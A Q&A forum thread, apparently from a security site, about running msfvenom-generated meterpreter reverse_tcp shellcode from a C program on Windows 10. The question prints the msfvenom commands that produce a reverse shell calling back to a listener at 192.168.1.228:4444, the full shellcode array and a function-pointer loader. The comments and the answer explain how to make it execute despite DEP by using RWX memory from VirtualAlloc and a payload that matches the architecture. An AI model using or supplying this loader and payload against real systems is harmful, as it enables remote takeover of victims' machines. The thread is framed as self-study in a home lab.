4

This is obviously for educational purposes. I've been interested in learning more about malware and how it works.

I'm trying to get a meterpreter reverse tcp shell working on windows 10 but more importantly executing it as shellcode from within a C program.

I've tested that my meterpreter reverse shell works by generating a standalone PE with:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.228 lport=4444 -f exe -o reverse_shell.exe

When I execute this on my windows 10 VM, no problem, a session is opened.

Now, what I'd like to do, is execute msfvenom produced shellcode from within a c program.

To obtain the shellcode I'm using:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.228 lport=4444 -f c

My c source looks like this:

#include <stdio.h>
#include <stdlib.h>

char shellcode[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x01\xe4\x68\x02"
"\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00"
"\x53\xff\xd5";

int main (int argc, char **argv) {
  int (*ret)() = (int(*)())shellcode;
  ret();
}

And I'm cross compiling on kali linux with:

x86_64-w64-mingw32-gcc rev_shell.c -o rev_shell.exe

Executing on my windows VM only yields me a crash in the form of: "rev_shell.exe has stopped working"

I am fairly new to c and the windows ecosystem but I assume that this sort of behavior could appear malicious. Is windows shutting down my execution? Is something wrong with my shell or c code?

5
  • 1
    You are using function pointer and executing shell code through it. It won't work on DEP protected systems. Use the VirtualAlloc, VirtualProtect, and CreateRemoteThread APIs to allocate, RWX, and then execute the shell code. Since it is for educational purposes, I would left the rest to you.
    – void_in
    Commented Jan 2, 2018 at 8:09
  • In normal gcc -zexecstack compilation flag or making the shellcode const should do the job.
    – sudhackar
    Commented Jan 3, 2018 at 8:31
  • @sudhackar With the code I posted or void_in's suggestion. I.e if I used that gcc flag my shellcode will execute on a DEP protected system such as windows 10?
    – ucklvs
    Commented Jan 5, 2018 at 11:46
  • I have never cross compiled for windows. Making the shellcode const usually puts it in the .text segment. Give both options a try. VirtualProtect will work for sure, however It'll take a couple of Winapi calls.
    – sudhackar
    Commented Jan 5, 2018 at 12:38
  • Also I think your shellcode is for x86 and you're compiling for x86-64.
    – sudhackar
    Commented Jan 5, 2018 at 12:51

1 Answer 1

4

As was mentioned in the comments, you have a couple of different problems:

  1. You're using 32-bit shellcode in a 64-bit binary. This will have problems because it is likely to refer to the stack pointer as esp instead of rsp, etc. You should use the windows/x64/meterpreter/reverse_tcp payload instead, or produce a 32-bit binary (which will run fine on a 64-bit Windows system, as they have backwards compatibility).
  2. Your code will be placed in the stack of the application, leading to DEP preventing it from being executable. You'll need to VirtualAlloc memory that is both writable and executable and copy your shellcode into it before executing. You don't need to create a new thread to just have it execute as the main body of your executable. There's a great example of doing just this.
2
  • Thank you. Interestingly enough, I haven't gotten a session to come through with meterpreter. I have however gotten a message box to pop up so proof of concept, accepted. If you have any idea why the various meterpreter payloads (other than messagebox) aren't working I'm all ears.
    – ucklvs
    Commented Jan 13, 2018 at 6:05
  • FWIW the article linked seemed to indicate DEP still applies when you compile a 64 bit executable. Generating a 32 bit payload seemed to work
    – n00b
    Commented Jun 24, 2020 at 22:14

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .